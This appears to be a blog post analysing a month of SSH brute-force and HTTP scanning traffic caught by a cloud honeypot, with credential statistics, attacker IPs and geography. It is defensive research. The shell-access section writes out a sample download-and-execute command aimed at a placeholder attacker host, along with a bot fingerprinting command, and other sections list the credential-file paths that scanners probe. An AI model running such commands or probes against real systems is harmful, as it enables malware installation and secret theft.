A Month in the Wild: Analyzing 53,232 Attacks on My Honeypot

This is the second in my ongoing Honeystack threat analysis series. If you missed the first post, read Part 1 here. To follow monthly releases, subscribe to my blog or star the repo.

Four weeks ago, I deployed Honeystack, a containerized threat intelligence platform, on a single Azure virtual machine using student credits from my GitHub Student Developer Pack. Designed with active SSH and HTTP trap sensors, Honeystack was built to attract, log, and enrich real-world scanner noise and brute-force campaigns from the public internet.

After 30 days of continuous operation, the honeypot compiled a rich dataset: 53,232 security events from 1,068+ unique IP addresses. In this post, we'll dive into the numbers, trace the shifting geographics of global botnets, analyze what happens when attackers get shell access, and look at the engineering lessons learned from operating a cloud threat sensor.

The "Ghost Honeypot" Debugging Story: A Lesson in Silent Ingest Failure

Before looking at the data, we have to talk about how this project almost yielded nothing.

During the first 5 days of deploying Honeystack on Azure, my dashboard showed a flatline: hundreds of HTTP probes, but exactly 0 SSH brute-force attempts. Exposing an SSH port (even on a non-standard port like 2222) to the public internet should trigger automated scans within minutes. A flatline for five days was statistically impossible.

I assumed the sensor was misconfigured or hadn't been indexed by mass scanners. But instead of waiting, I SSH'ed into the Azure VM and audited the raw logs.

Checking the application stack revealed that the SSH sensor was running and accepting connections. However, the PostgreSQL and Python API container logs showed a critical anomaly: a subtle SQL formatting mismatch in the database ingestion layer.

The conceptual bug: An invalid type-cast or parameter matching mismatch caused the database driver to fail the insert silently within the transaction.

INSERT INTO events (sensor_type, source_ip, ssh_username, ssh_password)
VALUES ('SSH', '185.156.74.52', 'root', NULL);

INSERT INTO events (sensor_type, source_ip, ssh_username, ssh_password)
VALUES ('SSH', '185.156.74.52', 'root', NULL);

Because the exception handling at the API routing level caught database-related errors but logged them to a standard error stream without crashing the container or returning an HTTP 500 to the isolated sensor (which was programmed to fail silently to prevent attackers from realizing they were in a sandboxed network), the pipeline appeared healthy on the surface. It was a "ghost honeypot" i.e, it was accepting traffic, processing it, and throwing it away.

Once I identified the SQL syntax bug, committed the fix, and restarted the containers, the SSH events started flooding in. Within the first hour of the patch going live, the database recorded over 300 brute-force attempts.

The Engineering Takeaway: Monitoring application uptime or HTTP status codes is not enough. When building high-throughput security data pipelines, you must write explicit integration tests validating database write consistency, and always cross-examine container STDOUT/STDERR logs with the raw database table state.

The Month-Long Dataset & Data Flow Volume

With the ingest pipeline repaired, the platform ran stably. The following volume flow illustrates the scale of telemetry processed by Honeystack:

Sustaining High-Throughput Telemetry

Honeystack maintained 100% platform uptime throughout the month thanks to three core structural decisions:

1. Container Isolation: Sensors communicate via a dedicated internal Docker network (ingest-net, marked internal: true) and cannot access the database or Redis cache directly. If a sensor is compromised, the attacker has no route to the host or database.
2. Redis-Backed Enrichment Caching: Threat intelligence lookup limits are a bottleneck (AbuseIPDB offers 1,000 free queries/day). By caching geolocation, ISP, and reputation data in Redis with a 24-hour TTL, repetitive attack runs from the same IP did not drain API credits. Redis reduced external API requests by 84%.
3. Database Concurrency Control: High-speed SSH brute-forcing triggers massive write spikes. The async enrichment worker implements Postgres FOR UPDATE SKIP LOCKED locks to query and process events concurrently across worker threads without encountering table-level deadlock conditions.

Attack Consistency: The SSH Brute-Force Baseline

Automated botnets operate on a volume game. They cycle through lists of known default credentials.

• SSH Brute-Force (82% of all traffic): Reaching 43,650 events, command-line credential harvesting was the primary threat vector.
• HTTP Web Exploitation (18% of all traffic): Reaching 9,582 events, web-based traffic targeted configuration secrets, admin panels, and unpatched IoT CVEs.

The Credential Spraying Hierarchy

Top SSH credentials tried over the month reveal the common configurations targeted by automated botnets:

While support / 123456789 remains the single most common credential pair, its percentage share of overall traffic declined slightly over the month. This indicates threat actors rotating their wordlists to try other combinations, specifically passwordless root attempts (root / [empty]), which saw a 14% increase in the last two weeks.

Geographic Evolution: Shifting Infrastructure & Churn

When comparing the first two weeks of data to the final month-long cumulative metrics, the geographic distribution of attacks shifted dramatically.

What Changed?

• China's Broad Distribution (31% of events): China's attacks were distributed across 341 unique IP addresses (representing 32% of all global attacking IPs), but each node only performed an average of 8.7 attacks. This represents a highly distributed residential/IoT botnet executing a "low and slow" brute-force campaign designed to fly under the radar of traditional rate limiters.
• Turkey's Concentration & Churn (10% of events): In contrast, Turkey's volume was highly concentrated. Out of 1,721 Turkish attacks, 1,692 (98%) came from a single IP: 176.53.159.196 hosted on Zorntech Web Solutions (AS154383). This single host aggressively hammered our port for 48 hours. After July 20, that IP was either blacklisted or decommissioned by the provider, causing Turkish attack volume to drop to near zero.
• Indonesia's Emergence (6% of events): During the third week, Indonesia emerged as a top attacker country, driven by compromised virtual private servers hosted on local hosting networks.

Why this matters for defenders: Threat infrastructure has a high churn rate. A single hosting provider or compromised server pool (like Zorntech) can generate a massive spike in alerts and then vanish. Relying on static IP blocklists is a losing battle; firewalls must adapt to dynamic, behavioral threat scores.

Deep Dive: When Attackers Get Shell Access (T1059)

Out of 35,691 SSH brute-force attempts, our SSH sensor was configured to simulate a successful login for a small percentage (5%) of credentials, dropping attackers into a simulated interactive terminal. Over the month, we observed 12 command execution events (T1059) across 10 unique IP addresses.

Across every single shell session, the primary script executed by the automated bots was identical:

echo 1 > /dev/null && cat /bin/echo

echo 1 > /dev/null && cat /bin/echo

The Anatomy of the Attack

Why would a bot log in and run this specific command?

1. Interactive Shell Verification (echo 1 > /dev/null): By redirecting standard output to /dev/null, the bot checks if the shell behaves like a standard Linux bash environment. If the shell responds with an error, the bot knows it is likely interacting with a basic sandbox or honeypot.
2. Binary Verification (cat /bin/echo): Rather than running echo "hello", the bot runs cat /bin/echo to read the raw binary file of the echo utility. By extracting the binary, it verifies that /bin/echo actually exists and is readable. This acts as a secondary check to confirm they have landed on a real Unix filesystem rather than an emulated python environment.

The Threat Intel Context: This pattern is a known fingerprinting payload utilized by botnets (similar to variants of Mirai) to validate compromise integrity. If the checks succeed, the bot downloads and executes architecture-specific payloads (e.g. wget http://attacker-ip/malware && chmod +x malware && ./malware). Because our honeypot does not emulate the actual binary bytes of /bin/echo in a way that satisfies the bot's hashing parser, the threat actors disconnected immediately. This shows that modern malware scripts actively scan for emulation signs before dropping their payloads to avoid exposing their staging servers.

The "Credentials in Files" French Scanner Swarm (T1552.001)

On the HTTP side, the honeypot recorded 3,516 matches for MITRE technique T1552.001 (Credentials in Files).

When analyzing these events, a highly targeted pattern emerged: 99% of this traffic originated from a cluster of just 5 IP addresses belonging to Bucklog SARL (a French hosting provider subnet):

• 185.177.72.24
• 185.177.72.56
• 185.177.72.16
• 185.177.72.69
• 185.177.72.29

These French IPs scanned for credentials files: /.env, /config/, /.git/config, /admin/config.php, and /sparkpost.env

These 5 French IPs issued 3,516 HTTP requests over the 30-day period, averaging 703 requests per IP. Of the credential files targeted, none contained actual secrets (our honeypot returned mock values), but this demonstrates that the Bucklog swarm was performing deep recursive directory scanning. Instead of just looking for http://honeypot/.env, they tried:

• http://honeypot/app/.env
• http://honeypot/api/config/.env
• http://honeypot/backup/v1/.env

The Defense Context: These scanners hunt specifically for exposed cloud secrets (like AWS keys, database passwords, or SMTP tokens like SparkPost). While our HTTP sensor returned mock values (preventing actual compromise), it highlights that cloud credentials are a top priority for attackers because they can use compromised cloud accounts to spin up expensive cryptomining infrastructure.

Lessons Learned (Month 1)

1. Attacks are Automated and Cyclic: Attackers do not sleep. Bots run on automated crons, creating highly predictable diurnal patterns (spiking daily between 02:00 UTC and 06:00 UTC).
2. Default Credentials are an Immediate Compromise: If an SSH service is exposed on the public internet with common vendor defaults (like support/123456789), it will be identified and brute-forced within minutes of going live.
3. Infrastructure Churns Rapidly: The decline of Turkish attacks proves how fast specific bot infrastructure is rotated or decommissioned by hosting providers. Defenders must prioritize behavioral threat analysis over static blocklists.

Month 2 Roadmap

For Month 2, I am upgrading Honeystack's capabilities to capture deeper telemetry:

1. Database Traps: Spin up fake containerized databases (PostgreSQL and MySQL) to capture database encryption ransomware and credentials.
2. Slack Integration: Implement webhook notifications in the enrichment worker to send real-time alerts when high-reputation threat IPs or successful shell executions are detected.
3. Track Attack Success Rate: Build telemetry to track the percentage of brute-force logins that use credentials matching our dictionaries.
4. Malware Attribution: Map command history and HTTP user agents to known botnet signatures (like Mozi or Mirai).

The Code is Open Source

Honeystack is designed to be fully reproducible, allowing any developer or security researcher to deploy a containerized threat intelligence stack in minutes.

The complete repository (including infrastructure configurations, sensors, and the SOC frontend) is open source: GitHub Repository

Deploy your own sensors, monitor live attacks on your machines, and analyze real threat telemetry today!